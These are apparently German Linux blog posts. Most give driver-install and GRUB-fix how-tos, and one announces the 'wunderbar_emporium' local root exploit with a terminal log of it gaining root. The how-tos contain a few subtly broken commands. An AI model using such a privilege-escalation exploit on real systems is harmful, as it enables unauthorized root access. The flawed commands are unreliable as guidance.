HowTo: ASIX AX88179 USB 3.0 Gigabit Ethernet unter Ubuntu 13.10

Vor kurzem habe ich einen Digitus USB 3.0 Gigabit Ethernet Adapter bekommen. Bei diesem ist ein AX88179 Chip von ASIX verbaut. Er wurde unter Ubuntu Linux 13.10 mit einem 3.11er Kernel problemlos erkannt, funktionierte aber nicht wirklich.

Ursache dafuer scheint das Kernelmodul zu sein, was fehlerhaft ist. Es gibt zwei Wege den Adapter dennoch zum Laufen zu bekommen:

1. Drosseln auf 100Mbit:

sudo ethtool -s eth0 speed 100 duplex full antoneg off

2. Kernel Modul von Herstellerseite herunterladen und kompilieren:

cd /tmp
wget http://www.asix.com.tw/FrootAttach/driver/AX88179_178A_LINUX_DRIVER_v1.9.0_SOURCE.tar.bz2
aptitude install build-essential linux-headers-$(uname -r)
tar -xjf AX88179_178A_LINUX_DRIVER_v1.9.0_SOURCE.tar.bz2
cd AX88179_178A_LINUX_DRIVER_v1.9.0_SOURCE/
make
sudo make install

Mit der letzteren Loesung funktioniert der Adapter bei mir problemlos auch auf Gigabit.

Howto: Belkin Surf WLAN USB-Adapter (050d:945a) in Ubuntu

Die Firma ist umgezogen, es liegen noch keine neuen Netzwerkkabel und alles laeuft mit WLAN. Weil gruetze ham wir nun guenstige N-Sticks bekommen die aber fuer aktuellen Ubuntu zu neu sind. Deswegen halt plug and compile. Neusten Linuxtreiber von realtek runterladen (URL) und danach as follows. Bitte XXX mit entsprechender Version ersetzen bzw. Tab-completion nutzen:

sudo aptitude install linux-headers-$(uname -r) build-essential unzip 
unzip -x RTL8191SU_usb_linux_XXX.zip
cd rtl8712_8188_8191_8192SU_usb_linux_XXX/driver
tar -xzf rtl8712_8188_8191_8192SU_usb_linux_XX.tar.gz
cd rtl8712_8188_8191_8192SU_usb_linux_XX
make
sudo make install

Danach den alten Treiber ueber die Blacklist sperren:

sudo echo "blacklist r8192s_usb" >> /etc/modprobe.d/blacklist.conf

und einen reboot machen. Anleitung is uebrigens von (da)

local root exploit fuer alle linux kernel seit 2001

Es gibt einen neuen local root exploit fuer den Linux Kernel fuer alle 2.4er und 2.6er Kernel seit 2001. Funktioniert ganz wunderbar hier und ueberall, einfach wunderbar_emporium herunterladen und ausfuehren und siehe selbst:

jan@scherge:~/wunderbar_emporium$ id
uid=1003(jan) gid=1003(jan) Gruppen=114(wheel),1003(jan),1004(userbet)
jan@scherge:~/wunderbar_emporium$ ./wunderbar_emporium.sh 
 [+] MAPPED ZERO PAGE!
 [+] Resolved sel_read_enforce to 0xffffffff802f334a
 [+] got ring0!
 [+] detected 2.6 style 4k stacks
sh: mplayer: command not found
 [+] Disabled security of : nothing, what an insecure machine!
 [+] Got root!
sh-3.1# id
uid=0(root) gid=0(root) Gruppen=114(wheel),1003(jan),1004(userbet)
sh-3.1#

debian, grub, kernelupdate, falsches root-device

Grad mit Thomas drueber gesprochen und er meinte ich sollte mal nen Blogeintrag schreiben, weil sich das keiner durch liesst. Das Problem ist, dass bei einem Debian System, in diesem Fall Lenny auf einem Dell Poweredge 1950/2950 bei einem Kernelupdate immer automatisch auch die /boot/grub/menu.lst geupdated wird, und da dann immer ein falsches root-device genommen wird, so dass das booten scheitert. Die Ursache bei den Poweredge Systemen ist, dass sie eine Broadcom NetXtreme II Netzwerkkarte verbaut haben mit einer propietaeren Firmware, die man beim installieren via USB-Stick nachliefern muss. Der USB-Stick wird als /dev/sda und die Festplatten dann als /dev/sdb etc. erkannt. Das root-device ist danach in der fstab und menu.lst /dev/sdb. Nach dem manuellen aendern bleibt die fstab auch den rest Ihres lebens so, die menu.lst wiegesagt nicht. Das ganze kann man aendern, indem man in der /boot/grub/menu.lst die Zeile

#kopt=root=/dev/sdb1 ro

sucht und entsprechend abaendert in das _richtige_ root-device. Wichtig ist, dass man das ganze auskommentiert laesst. Wenn man ein bisschen drueber liesst, steht das da auch, aber wie Thomas schon richtig anmerkte: das liest ja eh keiner. Bei mir hat es auch mehrere Stunden gedauert ;-)